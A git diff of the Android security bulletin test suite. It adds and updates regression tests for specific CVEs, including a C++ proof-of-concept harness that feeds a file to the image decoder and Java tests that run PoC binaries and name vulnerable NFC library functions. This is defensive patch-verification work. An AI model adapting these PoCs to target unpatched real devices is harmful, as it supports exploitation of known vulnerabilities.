diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/Android.bp
similarity index 75%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/Android.bp
index bcbf54f..109a665 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -20,7 +20,15 @@
}
cc_test {
- name: "CVE-2020-29368",
+ name: "CVE-2021-39804",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp",],
+ srcs: [
+ "poc.cpp",
+ ],
+ shared_libs: [
+ "libbinder",
+ "libjnigraphics",
+ "libutils",
+ "libui",
+ ],
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/poc.cpp
new file mode 100644
index 0000000..db09dee
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39804/poc.cpp
@@ -0,0 +1,59 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// This PoC is written taking reference from
+// frameworks/base/native/graphics/jni/imagedecoder.cpp
+
+#include "../includes/common.h"
+#include <android/imagedecoder.h>
+#include <binder/IPCThreadState.h>
+#include <vector>
+
+bool testInProgress = false;
+struct sigaction new_action, old_action;
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+ if (testInProgress && info->si_signo == SIGSEGV) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ exit(EXIT_FAILURE);
+}
+
+int main(int argc, char **argv) {
+ FAIL_CHECK(argc >= 2);
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &new_action, &old_action);
+ android::ProcessState::self()->startThreadPool();
+ FILE *file = fopen(argv[1], "r");
+ FAIL_CHECK(file);
+ fseek(file, 0, SEEK_END);
+ size_t size = ftell(file);
+ fseek(file, 0, SEEK_SET);
+ std::vector<uint8_t> buffer(size);
+ fread((void *)buffer.data(), 1, size, file);
+ fclose(file);
+ testInProgress = true;
+ AImageDecoder *decoder;
+ if (AImageDecoder_createFromBuffer(buffer.data(), size, &decoder) ==
+ ANDROID_IMAGE_DECODER_SUCCESS) {
+ AImageDecoder_delete(decoder);
+ }
+ testInProgress = false;
+ FAIL_CHECK(decoder);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/common.h b/hostsidetests/securitybulletin/securityPatch/includes/common.h
index 0f894a6..50dd8ac 100644
--- a/hostsidetests/securitybulletin/securityPatch/includes/common.h
+++ b/hostsidetests/securitybulletin/securityPatch/includes/common.h
@@ -36,7 +36,7 @@
time_t start_timer(void);
int timer_active(time_t timer_started);
-inline time_t start_timer() { return time(NULL); }
+inline time_t start_timer(void) { return time(NULL); }
inline int timer_active(time_t timer_started) {
return time(NULL) < (timer_started + MAX_TEST_DURATION);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java
index 63a5370..75bbd0a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java
@@ -23,10 +23,10 @@
import org.junit.Before;
import org.junit.runner.RunWith;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_183613671 extends BaseHostJUnit4Test {
+public final class Bug_183613671 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.BUG_183613671";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "BUG-183613671.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java
index e31cb47..adf6103 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java
@@ -25,10 +25,10 @@
import org.junit.runner.RunWith;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_183963253 extends BaseHostJUnit4Test {
+public final class Bug_183963253 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.BUG_183963253";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "BUG-183963253.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
index 31da488..b127c85 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,14 +14,19 @@
* limitations under the License.
*/
+
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
import com.android.compatibility.common.util.CrashUtils;
-import com.android.tradefed.device.ITestDevice;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.Test;
+
+import java.util.regex.Pattern;
+
import org.junit.runner.RunWith;
+import org.junit.Test;
@RunWith(DeviceJUnit4ClassRunner.class)
public class CVE_2018_9558 extends SecurityTestCase {
@@ -29,16 +34,23 @@
/**
* b/112161557
* Vulnerability Behaviour: SIGABRT in self
+ * Vulnerable Library: libnfc-nci (As per AOSP code)
+ * Vulnerable Function: rw_t2t_handle_tlv_detect_rsp (As per AOSP code)
*/
@Test
@AsbSecurityTest(cveBugId = 112161557)
public void testPocCVE_2018_9558() throws Exception {
AdbUtils.assumeHasNfc(getDevice());
+ assumeIsSupportedNfcDevice(getDevice());
pocPusher.only64();
+ String signals[] = {CrashUtils.SIGABRT};
String binaryName = "CVE-2018-9558";
- String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+ "rw_t2t_handle_tlv_detect_rsp"));
+ testConfig.config
+ .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
testConfig.config.setSignals(signals);
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java
new file mode 100644
index 0000000..181d660
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2012 extends SecurityTestCase {
+
+ /**
+ * b/120497437
+ * Vulnerability Behaviour: SIGSEGV in self
+ * Vulnerable Library: libnfc-nci (As per AOSP code)
+ * Vulnerable Function: rw_t3t_update_block (As per AOSP code)
+ */
+ @AsbSecurityTest(cveBugId = 120497437)
+ @Test
+ public void testPocCVE_2019_2012() throws Exception {
+ AdbUtils.assumeHasNfc(getDevice());
+ assumeIsSupportedNfcDevice(getDevice());
+ pocPusher.only64();
+ String signals[] = {CrashUtils.SIGSEGV};
+ String binaryName = "CVE-2019-2012";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ .setBacktraceIncludes(
+ new BacktraceFilterPattern("libnfc-nci", "rw_t3t_update_block"));
+ testConfig.config
+ .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java
new file mode 100644
index 0000000..b7c2ea8
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2017 extends SecurityTestCase {
+
+ /**
+ * b/121035711
+ * Vulnerability Behaviour: SIGABRT in self
+ * Vulnerable Library: libnfc-nci (As per AOSP code)
+ * Vulnerable Function: rw_t2t_handle_tlv_detect_rsp (As per AOSP code)
+ */
+ @AsbSecurityTest(cveBugId = 121035711)
+ @Test
+ public void testPocCVE_2019_2017() throws Exception {
+ AdbUtils.assumeHasNfc(getDevice());
+ assumeIsSupportedNfcDevice(getDevice());
+ pocPusher.only64();
+ String signals[] = {CrashUtils.SIGABRT};
+ String binaryName = "CVE-2019-2017";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+ "rw_t2t_handle_tlv_detect_rsp"));
+ testConfig.config
+ .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java
new file mode 100644
index 0000000..b65faee
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2020 extends SecurityTestCase {
+
+ /**
+ * b/116788646
+ * Vulnerability Behaviour: SIGSEGV in self
+ * Vulnerable Library: libnfc-nci (As per AOSP code)
+ * Vulnerable Function: llcp_dlc_proc_rx_pdu (As per AOSP code)
+ */
+ @AsbSecurityTest(cveBugId = 116788646)
+ @Test
+ public void testPocCVE_2019_2020() throws Exception {
+ AdbUtils.assumeHasNfc(getDevice());
+ assumeIsSupportedNfcDevice(getDevice());
+ pocPusher.only64();
+ String signals[] = {CrashUtils.SIGSEGV};
+ String binaryName = "CVE-2019-2020";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+ "llcp_dlc_proc_rx_pdu"));
+ testConfig.config
+ .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
+ testConfig.config.checkMinAddress(false);
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java
new file mode 100644
index 0000000..21b2285
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2031 extends SecurityTestCase {
+
+ /**
+ * b/120502559
+ * Vulnerability Behaviour: SIGABRT in self
+ * Vulnerable Library: libnfc-nci (As per AOSP code)
+ * Vulnerable Function: rw_t3t_act_handle_check_ndef_rsp (As per AOSP code)
+ */
+ @AsbSecurityTest(cveBugId = 120502559)
+ @Test
+ public void testPocCVE_2019_2031() throws Exception {
+ AdbUtils.assumeHasNfc(getDevice());
+ assumeIsSupportedNfcDevice(getDevice());
+ pocPusher.only64();
+ String signals[] = {CrashUtils.SIGABRT};
+ String binaryName = "CVE-2019-2031";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+ "rw_t3t_act_handle_check_ndef_rsp"));
+ testConfig.config
+ .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java
new file mode 100644
index 0000000..3aa0474
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0015 extends StsExtraBusinessLogicHostTestBase {
+
+ @AppModeFull
+ @AsbSecurityTest(cveBugId = 139017101)
+ @Test
+ public void testPocCVE_2020_0015() throws Exception {
+ ITestDevice device = getDevice();
+ final String testPkg = "android.security.cts.CVE_2020_0015";
+ uninstallPackage(device, testPkg);
+
+ /* Wake up the screen */
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ installPackage("CVE-2020-0015.apk");
+ AdbUtils.runCommandLine("pm grant " + testPkg + " android.permission.SYSTEM_ALERT_WINDOW",
+ device);
+ assertTrue(runDeviceTests(testPkg, testPkg + ".DeviceTest", "testOverlayButtonPresence"));
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java
new file mode 100644
index 0000000..6689459
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.compatibility.common.util.CrashUtils;
+
+import java.util.Arrays;
+import java.util.ArrayList;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0034 extends SecurityTestCase {
+
+ /**
+ * b/62458770
+ * Vulnerability Behaviour: SIGABRT in self
+ */
+ @AsbSecurityTest(cveBugId = 62458770)
+ @Test
+ public void testPocCVE_2020_0034() throws Exception {
+ pocPusher.only32();
+ String binaryName = "CVE-2020-0034";
+ String inputFiles[] = {"cve_2020_0034.ivf"};
+ String signals[] = {CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.inputFiles = Arrays.asList(inputFiles);
+ testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+ testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
index 9573b39..04d65f8 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -16,30 +16,40 @@
package android.security.cts;
-import com.android.tradefed.device.ITestDevice;
-import com.android.compatibility.common.util.CrashUtils;
-
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
@RunWith(DeviceJUnit4ClassRunner.class)
public class CVE_2020_0073 extends SecurityTestCase {
/**
* b/147309942
* Vulnerability Behaviour: SIGABRT in self
+ * Vulnerable Library: libnfc-nci (As per AOSP code)
+ * Vulnerable Function: rw_t2t_handle_tlv_detect_rsp (As per AOSP code)
*/
@Test
@AsbSecurityTest(cveBugId = 147309942)
public void testPocCVE_2020_0073() throws Exception {
AdbUtils.assumeHasNfc(getDevice());
+ assumeIsSupportedNfcDevice(getDevice());
pocPusher.only64();
String binaryName = "CVE-2020-0073";
- String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String signals[] = {CrashUtils.SIGABRT};
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+ "rw_t2t_handle_tlv_detect_rsp"));
+ testConfig.config
+ .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
testConfig.config.setSignals(signals);
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java
similarity index 68%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java
index 43a058c..84b45a0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java
@@ -1,5 +1,5 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
+/**
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -17,21 +17,22 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import static org.junit.Assert.*;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_29368 extends SecurityTestCase {
+public class CVE_2020_0458 extends SecurityTestCase {
- /**
- * b/174738029
- *
+ /**
+ * b/160265164
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
*/
- @AsbSecurityTest(cveBugId = 174738029)
+ @AsbSecurityTest(cveBugId = 160265164)
@Test
- public void testPocCVE_2020_29368() throws Exception {
- AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-29368", getDevice(),60);
+ public void testPocCVE_2020_0458() throws Exception {
+ AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-0458", getDevice(), 300);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29374.java
similarity index 88%
rename from hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java
rename to hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29374.java
index 43a058c..ed3e846 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29374.java
@@ -23,7 +23,7 @@
import static org.junit.Assert.*;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_29368 extends SecurityTestCase {
+public class CVE_2020_29374 extends SecurityTestCase {
/**
* b/174738029
@@ -31,7 +31,7 @@
*/
@AsbSecurityTest(cveBugId = 174738029)
@Test
- public void testPocCVE_2020_29368() throws Exception {
- AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-29368", getDevice(),60);
+ public void testPocCVE_2020_29374() throws Exception {
+ AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-29374", getDevice(),60);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java
index a6ae4f8..4b1bc22 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java
@@ -22,7 +22,7 @@
import android.platform.test.annotations.AsbSecurityTest;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
import org.junit.After;
import org.junit.Assert;
@@ -38,7 +38,7 @@
* collected from the hostside and reported accordingly.
*/
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0305 extends BaseHostJUnit4Test {
+public class CVE_2021_0305 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.CVE_2021_0305";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "CVE-2021-0305.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
index af3503c..585d19b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
@@ -1,5 +1,5 @@
/**
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -17,21 +17,40 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
@RunWith(DeviceJUnit4ClassRunner.class)
public class CVE_2021_0430 extends SecurityTestCase {
/**
* b/178725766
* Vulnerability Behaviour: SIGSEGV in self
+ * Vulnerable Library: libnfc-nci (As per AOSP code)
+ * Vulnerable Function: rw_mfc_handle_read_op (As per AOSP code)
*/
@Test
@AsbSecurityTest(cveBugId = 178725766)
public void testPocCVE_2021_0430() throws Exception {
+ AdbUtils.assumeHasNfc(getDevice());
+ assumeIsSupportedNfcDevice(getDevice());
pocPusher.only64();
- AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0430", null, getDevice());
+ String signals[] = {CrashUtils.SIGSEGV};
+ String binaryName = "CVE-2021-0430";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+ "rw_mfc_handle_read_op"));
+ testConfig.config
